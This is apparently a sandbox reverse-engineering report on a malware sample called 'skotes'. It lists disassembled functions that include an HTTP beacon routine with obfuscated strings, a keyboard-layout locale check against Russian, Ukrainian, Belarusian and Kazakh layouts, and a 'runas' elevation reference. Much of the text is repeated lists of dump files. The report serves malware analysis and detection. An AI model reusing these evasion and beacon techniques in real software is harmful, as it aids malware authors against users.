Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1%$UA==$WDw=$WTs=$invalid stoi argument$j718$stoi argument out of range
API String ID: 1875963930-4245944261
Opcode ID: 5a7e8fc19066bc8b2e888c4ec996f692317f3dda7792ded3a5c465e2c4e9fb92
Instruction ID: 8539a34b6878b863e59778194e51d07b94be8ac18a44af48f1e4379797d8f43b
Opcode Fuzzy Hash: 5a7e8fc19066bc8b2e888c4ec996f692317f3dda7792ded3a5c465e2c4e9fb92
Instruction Fuzzy Hash: 2EF27C71A202489BEF18DB38CD897ADBB76AF85304F10819CE408973D7DB759AD48F91

Function 001FBE30 Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,3831376A,?,00000000), ref: 001FBEB8
InternetOpenW.WININET(00248DC8,00000000,00000000,00000000,00000000), ref: 001FBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 001FBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 001FBF36
HttpSendRequestA.WININET(?,00000000), ref: 001FBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 001FC0A7
InternetCloseHandle.WININET(?), ref: 001FC187
InternetCloseHandle.WININET(?), ref: 001FC18F
InternetCloseHandle.WININET(?), ref: 001FC197

Strings

invalid stoi argument, xrefs: 001FE4F4
8HJUeMD Lq5=, xrefs: 001FC465
j718, xrefs: 001FC9B7, 001FC9BA
j718, xrefs: 001FBA04, 001FBE47, 001FC377, 001FCE6B, 001FDD2F
j718, xrefs: 001FC951
8HJUeIfzLo==, xrefs: 001FC3CB, 001FC623
RE1NXF==, xrefs: 001FBF0E
stoi argument out of range, xrefs: 001FE4EA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$j718$j718$j718$stoi argument out of range
API String ID: 2167506142-1179008105
Opcode ID: 168bc49c0e64e2008368133f2ce11699b822514e703665f07eda7a03fd67222c
Instruction ID: ec613e2d2f9d01b7f743fa7c628fd5117f17adfc7176cac03ff9a2ec65e5776c
Opcode Fuzzy Hash: 168bc49c0e64e2008368133f2ce11699b822514e703665f07eda7a03fd67222c
Instruction Fuzzy Hash: FDB1D4B1A1021C9BDB28CF28CD84BAEBB79EF45304F504199F609972D2DB719AC4CF95

Function 001F6020 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 001F617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 001F6271

Strings

00000422, xrefs: 001F60C9
00000423, xrefs: 001F60FA
00000419, xrefs: 001F6098
j718, xrefs: 001F5DB8, 001F5E00, 001F5DF4, 001F5DC5, 001F5EE0
j718, xrefs: 001F59F4, 001F5C24, 001F5D67, 001F5EE6, 001F603B, 001F65F7, 001F70AC
0000043f, xrefs: 001F612B
Keyboard Layout\Preload, xrefs: 001F6054

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$j718$j718
API String ID: 2571532894-2361139356
Opcode ID: 53d936da10d1f8b0f1667d769fb65623ab952545d1da6f96ee134e34d9cc4b61
Instruction ID: 027398b46f9f1c061bc4c8eb26a1412adc7067cce2a6e49d32a366a7febe0e58
Opcode Fuzzy Hash: 53d936da10d1f8b0f1667d769fb65623ab952545d1da6f96ee134e34d9cc4b61
Instruction Fuzzy Hash: 46B1B0719002689BDB24DB64CC94BEEB779AF05340F5402D8E108E72D2DB74AFA88F94

Function 001F7D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001F7ED3

Strings

JjsrQV==, xrefs: 001F8092
JjssPV==, xrefs: 001F81E2
JjsrPl==, xrefs: 001F828A
P , xrefs: 001F7D3D
j718, xrefs: 001F7D5B
JjssOl==, xrefs: 001F813A

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$j718$P
API String ID: 1721193555-2093309198
Opcode ID: 7a3f455153b4e48ba3e07f53c8445e4ce4d533935f80bae96bca81b42cb869ca
Instruction ID: 5ba40bc39bc331a8bf56f428c53028c34424034a9df08309d7fdca12ea6fa944
Opcode Fuzzy Hash: 7a3f455153b4e48ba3e07f53c8445e4ce4d533935f80bae96bca81b42cb869ca
Instruction Fuzzy Hash: 83E11971E10308DBDB14BB68DC0B3BD7B62AB46720F94028CE9156B3C2DB355E948BC2

Function 00231ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00231775: CreateFileW.KERNEL32(00000000,00000000,?,00231B65,?,?,00000000,?,00231B65,00000000,0000000C), ref: 00231792

__dosmaperr.LIBCMT ref: 00231BD7
GetFileType.KERNEL32(00000000), ref: 00231BE3
__dosmaperr.LIBCMT ref: 00231BF6
__dosmaperr.LIBCMT ref: 00231D9C

Strings

H, xrefs: 00231D21

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: cecb8098c7f3b5f76a36967aad862ff2c8b42e5f1d4d00163c7374b5041df87b
Instruction ID: 68ece8d7f0c2057aba6f2f278a75c24041522cdb4c178106ec3b7e32db0b5170
Opcode Fuzzy Hash: cecb8098c7f3b5f76a36967aad862ff2c8b42e5f1d4d00163c7374b5041df87b
Instruction Fuzzy Hash: FCA13572A242599FCF199F68DC51BAE7BA1AF07324F140199E801AF3D1DB359C32CB52

Function 001F7590 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,3831376A,?,00000000,00239138,000000FF), ref: 001F75CC
CreateThread.KERNEL32(00000000,00000000,001F7430,00258638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001F76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001F76C9

Strings

j718, xrefs: 001F72C2, 001F7444, 001F75A2, 001F77C4
runas, xrefs: 001F7303

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

